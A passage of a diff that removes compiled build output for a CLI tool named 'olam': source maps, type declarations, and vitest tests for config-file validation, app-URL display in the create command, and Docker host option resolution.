SAAS,EAAE,OAAO,EAAE,QAAQ,EAAE,EAAE,CAAC,CAAC;QACpH,CAAC,CAAC,CAAC;QAEH,aAAa,CAAC;YACZ,qBAAqB,EAAE,MAAM;YAC7B,yBAAyB,EAAE,GAAG;YAC9B,oBAAoB,EAAE,KAAK;SAC5B,CAAC,CAAC;QAEH,MAAM,EAAE,iBAAiB,EAAE,GAAG,MAAM,MAAM,CAAC,4BAA4B,GAAG,IAAI,CAAC,GAAG,EAAY,CAAC,CAAC;QAChG,MAAM,EAAE,OAAO,EAAE,GAAG,MAAM,MAAM,CAAC,WAAW,CAAC,CAAC;QAC9C,MAAM,OAAO,GAAG,IAAI,OAAO,EAAE,CAAC;QAC9B,EAAE,CAAC,KAAK,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC,kBAAkB,CAAC,GAAG,EAAE,CAAC,SAAS,CAAC,CAAC;QAC7D,iBAAiB,CAAC,OAAO,CAAC,CAAC;QAE3B,MAAM,OAAO,CAAC,UAAU,CAAC,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,mBAAmB,EAAE,SAAS,EAAE,QAAQ,CAAC,CAAC,CAAC;QAE/F,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,KAAK,GAAG,QAAQ,CAAC,CAAC,CAAE,CAAC;QAC3B,MAAM,CAAC,KAAK,CAAC,OAAO,CAAC,mBAAmB,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QACvD,MAAM,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QAEpC,MAAM,KAAK,EAAE,CAAC;IAChB,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"config.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/config.test.ts"],"names":[],"mappings":""}
|
|
@@ -1,95 +0,0 @@
|
|
|
1
|
-
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
|
|
2
|
-
import * as fs from 'node:fs';
|
|
3
|
-
import * as os from 'node:os';
|
|
4
|
-
import * as path from 'node:path';
|
|
5
|
-
import { Command } from 'commander';
|
|
6
|
-
import { registerConfig } from '../commands/config.js';
|
|
7
|
-
const VALID_CONFIG = JSON.stringify({
|
|
8
|
-
schemaVersion: 1,
|
|
9
|
-
repos: [
|
|
10
|
-
{
|
|
11
|
-
name: 'atlas-core',
|
|
12
|
-
path: '/home/ernest/code/atlas-core',
|
|
13
|
-
addedAt: 1715000000000,
|
|
14
|
-
updatedAt: 1715000000000,
|
|
15
|
-
},
|
|
16
|
-
],
|
|
17
|
-
runbooks: [],
|
|
18
|
-
}, null, 2);
|
|
19
|
-
const INVALID_CONFIG_BAD_VERSION = JSON.stringify({ schemaVersion: 2, repos: [], runbooks: [] }, null, 2);
|
|
20
|
-
const CORRUPT_JSON = '{ this is not valid json !!';
|
|
21
|
-
function buildProgram() {
|
|
22
|
-
const program = new Command();
|
|
23
|
-
program.name('olam').exitOverride();
|
|
24
|
-
registerConfig(program);
|
|
25
|
-
return program;
|
|
26
|
-
}
|
|
27
|
-
/**
|
|
28
|
-
* Invoke `olam config validate <path>` via the in-process commander program.
|
|
29
|
-
* Captures stderr writes and the exit code from process.exit calls.
|
|
30
|
-
*/
|
|
31
|
-
function invokeValidate(configPath) {
|
|
32
|
-
const stderrLines = [];
|
|
33
|
-
const stderrSpy = vi.spyOn(process.stderr, 'write').mockImplementation((chunk) => {
|
|
34
|
-
stderrLines.push(String(chunk));
|
|
35
|
-
return true;
|
|
36
|
-
});
|
|
37
|
-
let exitCode = 0;
|
|
38
|
-
const exitSpy = vi.spyOn(process, 'exit').mockImplementation((code) => {
|
|
39
|
-
exitCode = typeof code === 'number' ? code : 0;
|
|
40
|
-
throw new Error(`process.exit(${code})`);
|
|
41
|
-
});
|
|
42
|
-
try {
|
|
43
|
-
buildProgram().parse(['node', 'olam', 'config', 'validate', configPath]);
|
|
44
|
-
}
|
|
45
|
-
catch {
|
|
46
|
-
// process.exit throws our sentinel — that's expected
|
|
47
|
-
}
|
|
48
|
-
finally {
|
|
49
|
-
stderrSpy.mockRestore();
|
|
50
|
-
exitSpy.mockRestore();
|
|
51
|
-
}
|
|
52
|
-
return { exitCode, stderrOutput: stderrLines.join('') };
|
|
53
|
-
}
|
|
54
|
-
describe('olam config validate', () => {
|
|
55
|
-
let tmpDir;
|
|
56
|
-
let configPath;
|
|
57
|
-
beforeEach(() => {
|
|
58
|
-
tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'olam-config-test-'));
|
|
59
|
-
configPath = path.join(tmpDir, 'config.json');
|
|
60
|
-
});
|
|
61
|
-
afterEach(() => {
|
|
62
|
-
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
63
|
-
});
|
|
64
|
-
it('exits 0 on a valid config file', () => {
|
|
65
|
-
fs.writeFileSync(configPath, VALID_CONFIG);
|
|
66
|
-
const { exitCode } = invokeValidate(configPath);
|
|
67
|
-
expect(exitCode).toBe(0);
|
|
68
|
-
});
|
|
69
|
-
it('exits 1 when file is missing', () => {
|
|
70
|
-
const missingPath = path.join(tmpDir, 'nonexistent.json');
|
|
71
|
-
const { exitCode, stderrOutput } = invokeValidate(missingPath);
|
|
72
|
-
expect(exitCode).toBe(1);
|
|
73
|
-
expect(stderrOutput).toContain('not found');
|
|
74
|
-
});
|
|
75
|
-
it('exits 1 with Line N: prefix on an invalid config', () => {
|
|
76
|
-
fs.writeFileSync(configPath, INVALID_CONFIG_BAD_VERSION);
|
|
77
|
-
const { exitCode, stderrOutput } = invokeValidate(configPath);
|
|
78
|
-
expect(exitCode).toBe(1);
|
|
79
|
-
expect(stderrOutput).toMatch(/Line \d+:/);
|
|
80
|
-
});
|
|
81
|
-
it('exits 1 on corrupt JSON', () => {
|
|
82
|
-
fs.writeFileSync(configPath, CORRUPT_JSON);
|
|
83
|
-
const { exitCode, stderrOutput } = invokeValidate(configPath);
|
|
84
|
-
expect(exitCode).toBe(1);
|
|
85
|
-
expect(stderrOutput).toContain('invalid JSON');
|
|
86
|
-
});
|
|
87
|
-
it('attributes line numbers via json-source-map for /schemaVersion', () => {
|
|
88
|
-
fs.writeFileSync(configPath, INVALID_CONFIG_BAD_VERSION);
|
|
89
|
-
const { exitCode, stderrOutput } = invokeValidate(configPath);
|
|
90
|
-
expect(exitCode).toBe(1);
|
|
91
|
-
// schemaVersion is on line 2 in the pretty-printed JSON above
|
|
92
|
-
expect(stderrOutput).toMatch(/Line 2: \/schemaVersion:/);
|
|
93
|
-
});
|
|
94
|
-
});
|
|
95
|
-
//# sourceMappingURL=config.test.js.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"config.test.js","sourceRoot":"","sources":["../../src/__tests__/config.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"create-app-urls.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/create-app-urls.test.ts"],"names":[],"mappings":""}
|
|
@@ -1,102 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Focused tests for the app URLs output block added to `olam create`.
|
|
3
|
-
*
|
|
4
|
-
* Rather than exercising the full create flow (which involves workspace
|
|
5
|
-
* inference, docker provider, ora spinners, etc.), these tests verify the
|
|
6
|
-
* two invariants that matter most for the E4 feature:
|
|
7
|
-
*
|
|
8
|
-
* 1. When the created world has appPortUrls, they appear in the output.
|
|
9
|
-
* 2. When appPortUrls is absent or empty, the Apps block is not printed.
|
|
10
|
-
*
|
|
11
|
-
* The tests reach into the printInfo helper directly to avoid Commander
|
|
12
|
-
* action plumbing, keeping the surface narrow and the assertions tight.
|
|
13
|
-
*/
|
|
14
|
-
import { vi, describe, it, expect, beforeEach, afterEach } from 'vitest';
|
|
15
|
-
// printInfo calls console.log under the hood; spy before importing.
|
|
16
|
-
const logSpy = vi.spyOn(console, 'log').mockImplementation(() => { });
|
|
17
|
-
const ANSI_RE = /\x1b\[[0-9;]*[A-Za-z]/g;
|
|
18
|
-
function strip(s) {
|
|
19
|
-
return s.replace(ANSI_RE, '');
|
|
20
|
-
}
|
|
21
|
-
const SAMPLE_URLS = [
|
|
22
|
-
{ repoName: 'atlas-core', internalPort: 3000, hostPort: 13000, url: 'http://localhost:13000' },
|
|
23
|
-
{ repoName: 'diner-app', internalPort: 4000, hostPort: 14000, url: 'http://localhost:14000' },
|
|
24
|
-
];
|
|
25
|
-
// The display logic extracted from create.ts for focused testing.
|
|
26
|
-
// Mirrors exactly what create.ts does in its output block:
|
|
27
|
-
//
|
|
28
|
-
// if (world.appPortUrls && world.appPortUrls.length > 0) {
|
|
29
|
-
// world.appPortUrls.forEach((ap, i) => {
|
|
30
|
-
// printInfo(i === 0 ? 'Apps' : '', `${ap.repoName} ${ap.url}`);
|
|
31
|
-
// });
|
|
32
|
-
// }
|
|
33
|
-
//
|
|
34
|
-
// We import printInfo and run that logic here to verify the format matches.
|
|
35
|
-
const { printInfo } = await import('../output.js');
|
|
36
|
-
function simulateCreateOutput(appPortUrls, dashboardUrl) {
|
|
37
|
-
logSpy.mockClear();
|
|
38
|
-
if (dashboardUrl) {
|
|
39
|
-
printInfo('Dashboard', dashboardUrl);
|
|
40
|
-
}
|
|
41
|
-
if (appPortUrls && appPortUrls.length > 0) {
|
|
42
|
-
appPortUrls.forEach((ap, i) => {
|
|
43
|
-
printInfo(i === 0 ? 'Apps' : '', `${ap.repoName} ${ap.url}`);
|
|
44
|
-
});
|
|
45
|
-
}
|
|
46
|
-
}
|
|
47
|
-
describe('olam create — appPortUrls display logic', () => {
|
|
48
|
-
afterEach(() => {
|
|
49
|
-
logSpy.mockClear();
|
|
50
|
-
});
|
|
51
|
-
it('prints Apps block when appPortUrls is present', () => {
|
|
52
|
-
simulateCreateOutput(SAMPLE_URLS, 'http://localhost:19080');
|
|
53
|
-
const output = logSpy.mock.calls.map((args) => strip(String(args[0]))).join('\n');
|
|
54
|
-
expect(output).toContain('Dashboard');
|
|
55
|
-
expect(output).toContain('http://localhost:19080');
|
|
56
|
-
expect(output).toContain('Apps');
|
|
57
|
-
expect(output).toContain('atlas-core');
|
|
58
|
-
expect(output).toContain('http://localhost:13000');
|
|
59
|
-
expect(output).toContain('diner-app');
|
|
60
|
-
expect(output).toContain('http://localhost:14000');
|
|
61
|
-
});
|
|
62
|
-
it('first app URL line carries "Apps" label', () => {
|
|
63
|
-
simulateCreateOutput(SAMPLE_URLS);
|
|
64
|
-
const lines = logSpy.mock.calls.map((args) => strip(String(args[0])));
|
|
65
|
-
const appsLine = lines.find((l) => l.includes('Apps'));
|
|
66
|
-
expect(appsLine).toBeDefined();
|
|
67
|
-
expect(appsLine).toContain('atlas-core');
|
|
68
|
-
expect(appsLine).toContain('http://localhost:13000');
|
|
69
|
-
});
|
|
70
|
-
it('subsequent app URL lines use empty label (visual indentation)', () => {
|
|
71
|
-
simulateCreateOutput(SAMPLE_URLS);
|
|
72
|
-
const lines = logSpy.mock.calls.map((args) => strip(String(args[0])));
|
|
73
|
-
const dinerLine = lines.find((l) => l.includes('diner-app'));
|
|
74
|
-
expect(dinerLine).toBeDefined();
|
|
75
|
-
// Empty label pads to 14 spaces — line should NOT contain the word "Apps"
|
|
76
|
-
expect(dinerLine).not.toMatch(/Apps/);
|
|
77
|
-
expect(dinerLine).toContain('http://localhost:14000');
|
|
78
|
-
});
|
|
79
|
-
it('does NOT print Apps block when appPortUrls is absent', () => {
|
|
80
|
-
simulateCreateOutput(undefined, 'http://localhost:19080');
|
|
81
|
-
const output = logSpy.mock.calls.map((args) => strip(String(args[0]))).join('\n');
|
|
82
|
-
expect(output).not.toContain('Apps');
|
|
83
|
-
expect(output).toContain('Dashboard'); // dashboard still present
|
|
84
|
-
});
|
|
85
|
-
it('does NOT print Apps block when appPortUrls is empty array', () => {
|
|
86
|
-
simulateCreateOutput([], 'http://localhost:19080');
|
|
87
|
-
const output = logSpy.mock.calls.map((args) => strip(String(args[0]))).join('\n');
|
|
88
|
-
expect(output).not.toContain('Apps');
|
|
89
|
-
});
|
|
90
|
-
it('handles single-repo world — one Apps line, no indented continuation', () => {
|
|
91
|
-
const singleUrl = [
|
|
92
|
-
{ repoName: 'solo-app', internalPort: 3000, hostPort: 13000, url: 'http://localhost:13000' },
|
|
93
|
-
];
|
|
94
|
-
simulateCreateOutput(singleUrl);
|
|
95
|
-
const lines = logSpy.mock.calls.map((args) => strip(String(args[0])));
|
|
96
|
-
const appsLines = lines.filter((l) => l.includes('Apps'));
|
|
97
|
-
expect(appsLines).toHaveLength(1);
|
|
98
|
-
expect(appsLines[0]).toContain('solo-app');
|
|
99
|
-
expect(appsLines[0]).toContain('http://localhost:13000');
|
|
100
|
-
});
|
|
101
|
-
});
|
|
102
|
-
//# sourceMappingURL=create-app-urls.test.js.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"create-app-urls.test.js","sourceRoot":"","sources":["../../src/__tests__/create-app-urls.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -1,14 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Tests for resolveDockerHostOptions.
|
|
3
|
-
*
|
|
4
|
-
* The function chooses Dockerode constructor options based on three
|
|
5
|
-
* sources, in priority order:
|
|
6
|
-
* 1. DOCKER_HOST env (let Dockerode parse)
|
|
7
|
-
* 2. `docker context inspect` output
|
|
8
|
-
* 3. `/var/run/docker.sock` POSIX default
|
|
9
|
-
*
|
|
10
|
-
* We inject a mock spawnSync so tests don't depend on a real `docker`
|
|
11
|
-
* binary or the user's actual context.
|
|
12
|
-
*/
|
|
13
|
-
export {};
|
|
14
|
-
//# sourceMappingURL=docker-host.test.d.ts.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
